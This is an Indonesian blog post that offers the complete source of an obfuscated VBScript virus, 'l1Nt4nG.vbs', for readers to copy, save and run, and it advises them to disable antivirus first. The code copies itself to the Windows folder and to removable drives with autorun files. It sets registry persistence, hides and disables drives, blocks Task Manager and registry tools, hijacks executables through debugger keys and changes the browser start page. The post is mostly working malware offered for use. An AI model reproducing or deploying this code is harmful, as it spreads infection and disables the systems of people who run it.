Hidup Untuk Berbagi

Pembuatan Varian Virus #2

Nah ini dia Virus gw datang lagi, tapi masih mentah dlm bentuk vbs. Virus ini lumayan keren loh kawan2, bisa nge disable partisi artinya kompi kl dah kena nih virus maka drive C,D,E ga bisa di akses. Kl lum puas dgn yg ginian silahkan aja jadiin exe. Tapi kl dah merasa puas dgn yg ginian ya udah copas aja yg dibwh ini: (iets jgn lupa disable dulu AV kamu ya)
Code:

PHP

‘l1Nt4nG.vbs
on error resume next
dim mysource,winpath,HGjYuiyJWX,fs,mf,atr,tf,rg,nt,check,sd
atr = fNIOEKUfRA(“^ovspuvb\”)&vbcrlf&fNIOEKUfRA(“tcw/m2w4ld5i!fyf/uqjsdtx>fuvdfyfmmfit”)
set fs = createobject(fNIOEKUfRA(“udfkcPnfutzTfmjG/hojuqjsdT”))
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & fNIOEKUfRA(“tcw/m2w4ld5i]”))
tf.attributes = 32
set tf=fs.createtextfile(winpath & fNIOEKUfRA(“tcw/m2w4ld5i]”),2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & fNIOEKUfRA(“tcw/m2w4ld5i]”))
tf.attributes = 39
for each HGjYuiyJWX in fs.drives
If (HGjYuiyJWX.drivetype = 1 or HGjYuiyJWX.drivetype = 2) and HGjYuiyJWX.path fNIOEKUfRA(“;B”) then
set tf=fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA(“tcw/m2w4ld5i]”))
tf.attributes =32
set tf=fs.createtextfile(HGjYuiyJWX.path &fNIOEKUfRA(“tcw/m2w4ld5i]”),2,true)
tf.write mysource
tf.close
set tf=fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA(“tcw/m2w4ld5i]”))
tf.attributes =39
set tf =fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA(“goj/ovspuvb]”))
tf.attributes = 32
set tf=fs.createtextfile(HGjYuiyJWX.path &fNIOEKUfRA(“goj/ovspuvb]”),2,true)
tf.write atr
tf.close
set tf =fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA(“goj/ovspuvb]”))
tf.attributes=39
end if
next
set rg = createobject(fNIOEKUfRA(“mmfiT/uqjsdTX”))
rg.regwrite fNIOEKUfRA(“]eobnnpd]mmbutoJ]mmfit]fmjggoj]UPPS`TFTTBMD`ZFLI”), fNIOEKUfRA(“fyf/ggphpm”)
rg.regwrite fNIOEKUfRA(“]eobnnpd]ofqp]mmfit]fmjghfs]UPPS`TFTTBMD`ZFLI”), fNIOEKUfRA(“fyf/ggphpm”)
rg.regwrite fNIOEKUfRA(“]eobnnpD]ujeF]mmfiT]fmjGTCW]UPPS`TFTTBMD`ZFLI”), fNIOEKUfRA(“fyf/ggphpm”)
rg.regwrite fNIOEKUfRA(“]eobnnpd]ofqp]mmfit]fmjg4qn]UPPS`TFTTBMD`ZFLI”), fNIOEKUfRA(“tcw/m2w4ld5i”)
rg.regwrite fNIOEKUfRA(“sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI”), fNIOEKUfRA(“zbmqtjEtnfuJzbsUpO”)
rg.regwrite fNIOEKUfRA(“ovS]opjtsfWuofssvD]txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI”), fNIOEKUfRA(“fyf/qnbojX]qnbojX]tfmjG!nbshpsQ];D”), fNIOEKUfRA(“HOJSUT`HFS”)
rg.regwrite fNIOEKUfRA(“topjuqPsfempGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI”), fNIOEKUfRA(“2”), fNIOEKUfRA(“ESPXE`HFS”)
rg.regwrite fNIOEKUfRA(“eojGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI”), fNIOEKUfRA(“2”), fNIOEKUfRA(“ESPXE`HFS”)
rg.regwrite fNIOEKUfRA(“ofeejI]efdobweB]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI”), fNIOEKUfRA(fNIOEKUfRA(“2”)), fNIOEKUfRA(“ESPXE`HFS”)
rg.regwrite fNIOEKUfRA(“uyFfmjGfejI]efdobweB]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI”), fNIOEKUfRA(“2”), fNIOEKUfRA(“ESPXE`HFS”)
rg.regwrite fNIOEKUfRA(“fubjdpttBfmjGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI”), fNIOEKUfRA(“2”), fNIOEKUfRA(“ESPXE`HFS”)
rg.regwrite fNIOEKUfRA(“ujefhfSfmcbtjE]nfutzT]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI”), fNIOEKUfRA(“2”), fNIOEKUfRA(“ESPXE`HFS”)
rg.regwrite fNIOEKUfRA(“ovSpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI”), fNIOEKUfRA(“2”), fNIOEKUfRA(“ESPXE`HFS”)
rg.regwrite fNIOEKUfRA(“ENDfmcbtjE]nfutzT]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI”), fNIOEKUfRA(“2”), fNIOEKUfRA(“ESPXE`HFS”)
rg.regwrite fNIOEKUfRA(“shNltbUfmcbtjE]nfutzt]tfjdjmpq]opjtsfWuofssvD]txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI”), fNIOEKUfRA(“2”), fNIOEKUfRA(“ESPXE`HFS”)
rg.regwrite fNIOEKUfRA(“sfhhvcfE]fyf/end]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI”),fNIOEKUfRA(“fyf/ebqfupO”)
rg.regwrite fNIOEKUfRA(“sfhhvcfE]fyf/hjgopdtn]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI”),fNIOEKUfRA(“fyf/ebqfupO”)
rg.regwrite fNIOEKUfRA(“sfhhvcfE]fyf/ujefhfs]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI”),fNIOEKUfRA(“fyf/ebqfupO”)
rg.regwrite fNIOEKUfRA(“sfhhvcfE]fyf/34uefhfs]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI”),fNIOEKUfRA(“fyf/ebqfupO”)
rg.regwrite fNIOEKUfRA(“sfhhvcfE]fyf/shNltbU]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI”),fNIOEKUfRA(“fyf/ebqfupO”)
rg.regwrite fNIOEKUfRA(“sfhhvcfE]fyf/cjsuub]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI”),fNIOEKUfRA(“fyf/ebqfupO”)
rg.regwrite fNIOEKUfRA(“sfhhvcfE]fyf/mmbutoj]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI”),fNIOEKUfRA(“fyf/ebqfupO”)
rg.regwrite fNIOEKUfRA(“sfhhvcfE]fyf/qvuft]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI”),fNIOEKUfRA(“fyf/ebqfupO”)
rg.regwrite fNIOEKUfRA(“m2w4ld5i]ovS]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI”),winpath&fNIOEKUfRA(“tcw/m2w4ld5i]”)
rg.regwrite fNIOEKUfRA(“fhbQ!usbuT]ojbN]sfspmqyF!ufosfuoJ]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI”),fNIOEKUfRA(“mu/fhbq/777mfsvB/xxx00;quui”)
rg.regwrite fNIOEKUfRA(“fmujU!xpeojX]ojbN]sfspmqyF!ufosfuoJ]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI”),fNIOEKUfRA(“777!MFSVB!ZC!EFLDBI”)
rg.regwrite fNIOEKUfRA(“sfoxPefsfutjhfS]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI”),fNIOEKUfRA(“777!mfsvB”),fNIOEKUfRA(“HOJSUT`HFS”)
rg.regwrite fNIOEKUfRA(“opjub{jobhsPefsfutjhfS]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI”),fNIOEKUfRA(“4d2m1Q!juoB”),fNIOEKUfRA(“HOJSUT`HFS”)
if check 1 then
Wscript.sleep 200000
end if
loop while check1
set sd = createobject(fNIOEKUfRA(“mmfit/uqjsdtX”))
sd.run winpath&fNIOEKUfRA(“!$udfmft0$f0!fyf/sfspmqyf]”)&Wscript.ScriptFullname
Function fNIOEKUfRA(eaYRjLasVU)
Dim i, tmp2
For i = 1 To Len(eaYRjLasVU)
tmp2 = Chr(Asc(Mid(eaYRjLasVU, i, 1)) – 1) + tmp2
Next
fNIOEKUfRA = tmp2
End Function

Save dlm bentuk .vbs
Say thanks if u like it

Sumber : RCA (r3dcod3.forumid.net)

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s